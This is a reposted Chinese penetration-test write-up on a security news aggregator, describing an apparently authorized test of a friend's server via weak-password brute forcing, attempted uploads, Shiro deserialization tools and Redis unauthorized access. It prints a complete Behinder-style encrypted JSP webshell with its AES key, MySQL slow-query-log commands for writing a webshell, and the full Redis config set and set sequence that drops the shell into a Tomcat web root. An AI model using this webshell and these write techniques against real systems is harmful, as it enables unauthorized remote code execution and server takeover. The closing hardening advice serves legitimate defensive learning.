Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:17562 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
踩坑版渗透-记录某次授权测试
本文来自公众号:合天智汇   2020.11.23 11:30:43


亲爱的,关注我吧

11/23

本文字数1944

来和我一起阅读吧

本文转自先知社区:https://xz.aliyun.com/t/8532作者:耳旁有首歌

本文涉及靶场知识点-Apache Shiro权限绕过漏洞

https://www.hetianlab.com/expc.do?ec=ECID5990-e34f-487c-bfd3-6d2398bf833f&pk_campaign=weixin-wemedia

通过实验学习Apache Shiro权限绕过漏洞的成因和利用方法,并对漏洞进行修复。


朋友闲聊中,无意提起想试试日站,毕竟好久不做这事,有点手生。于是朋友把站点告诉了我,前部分正常步骤搜集信息,查看ip端口。

解析出来发现 . .19*.102,

扫一波端口发现

21/tcp open

80/tcp open http Microsoft IIS httpd 10.0

6379/tcp open

8085/tcp open http nginx 1.16.1 tianhe

8089/tcp open http 404

8098/tcp open http 404

一看开放服务还不少,挨个来,抓一波redis。

敏感地发现好像有弱密码,直接网站上去试试。还真给我找到了一个 **管理系统,祭出我强大的字典,再搞一搞朋友名字的社工,使用burp的intruder。

哈,不出我所料怼了两分钟就怼进去了,而且还是超管,这里就不放过程图了:

到处翻了翻,发现是开发环境。

系统文件上传:

其中有些上传点,竟然接收PUT方法,直接上传,改文件名后缀、内容,burp走一波:

诶,不对,竟然过不去,好家伙


返回于:


Failed to parse multipart servlet request; nested exception is java.io.IOException: The temporary upload location

java报错,原因是没有该目录。。。好的吧,记住使用jsp了,用冰蝎的加密马。

<%@page import="java.util. ,javax.crypto. ,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

mysql日志写入:

漫游系统中发现有sql数据库管理,貌似是直接拼装sql语句的:

尝试mysql的骚操作-慢日志写入webshell:

SHOW VARIABLES LIKE "%slow_query_log%";

正常的话还可以类似:

set global slow_query_log=1;

set global slow_query_log_file='C:\Tomcat\webapps\ROOT\conf-back.jsp';

select ' <%@page import="java.util.*,javax.crypto........一句话木马' or sleep(11);

WTF???解析错误??又白高兴了一场,抓了个包看看:

原来是url编码拼接了,而且使用解释器接收语句进行处理,算了,谁让我这么菜呢,给朋友做了太多日志不太好交差。

shiro反序列化:

分析数据包发现响应有rememberMe=deleteMe标识,于是想到最新的shiro反序列化。


祭出我的nb工具试一波:

工具地址:

https://github.com/fupinglee/ShiroScan/releases

https://github.com/fupinglee/ShiroScan/releases/tag/v1.1

https://github.com/fupinglee/JavaTools/tree/master/Shiro#v20

https://github.com/wh1t3p1g/ysoserial

https://github.com/frohoff/ysoserial

https://github.com/LuckyC4t/shiro-urldns/blob/master/src/main/java/luckycat/shirourldns/URLDNS.java

https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ

https://github.com/zema1/ysoserial/[通用回显 ]


我去,不对劲,仔细一看,原来请求数据包只带token标识,不使用cookie,于是直接放弃。

redis未授权:

哎呦,一个小站还很牢固,没事,还有别的端口,想起来刚看见的redis,很常见的redis未授权访问。

(参考文章《Redis on Windows 出网利用探索》: https://xz.aliyun.com/t/8153)

但是redis未授权只能写入文件,linux可写公钥,写计划任务反弹,wndows就只能写webshell了,但还有一个现实问题,需要获取真实目录。

于是本菜又在网站里漫游了一波,终于被我发现一个目录浏览功能!

但是当前网站的根目录是不可能访问的,只能解析到其余的盘,于是搜罗了一波。

好像发现了了不得的事情!竟然有某大厂杀毒!!!

那我得小心了,好多东西需要免杀

发现好多个tomcat,联想到端口汇总8089和8098都开放但是404,这就正常了,只是测试站点,需要特定目录才能访问。

于是挨个试,终于发现一个aico***的目录:


访问8089发现:


还等什么,试试redis写入功能,可以的话直接免杀webshell:

发现有权限,于是本地搭建环境测试冰蝎马:

可以放心地使用了:

(redis写入字符要用“\”转义)

config set dir "C:\Program Files\ ** \ * \ROOT"

config set dbfilename "index-back.jsp"

set xxx1xxx "\<\%\@page import\=\"java.util.*\,javax.crypto.*\,javax.crypto.spec.*\"\%>\<\%!class U extends ClassLoader{U(ClassLoader c){super(c)\;}public Class g(byte []b){return super.defineClass(b\,0\,b.length)\;}}\%>\<\%if (request.getMethod().equals(\"POST\")){String k\=\"e45e329feb5d925b\"\;session.putValue(\"u\"\,k)\;Cipher c\=Cipher.getInstance(\"AES\")\;c.init(2\,new SecretKeySpec(k.getBytes()\,\"AES\"))\;new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)\;}\%>"

当然最后别忘了复原:

del xxx1xxx

config set dir "C:\ ** \ * "

config set dbfilename "dump"

访问该页面,没有报错。

冰蝎连接

最后终于松了一口气,总算不是没有啥都没干成,然后整理一下报给朋友,顺便提了几个建议:别把测试服务公开在公网,可以设置白名单访问。

朋友说这是在公网的单一服务器,没有域环境或者工作组,于是就没有了后续步骤,不过朋友说你运气好,就这个服务是管理员权限,其他都是普通用户……我表示,其实我也试了很多,哈哈哈。

总结

总结几点:

  1. 避免设置弱密码,使用复杂密码提高测试业务的安全性。

  2. 非必要的服务不要暴露在公网。

  3. 业务开发时对登录cookie进行加密,避免使用单纯的token校验用户。

  4. 常用业务使用普通用户启动….

11/23

欢迎投稿至邮箱: EDU@antvsion.com

有才能的你快来投稿吧!

快戳 “阅读原文” 做学习人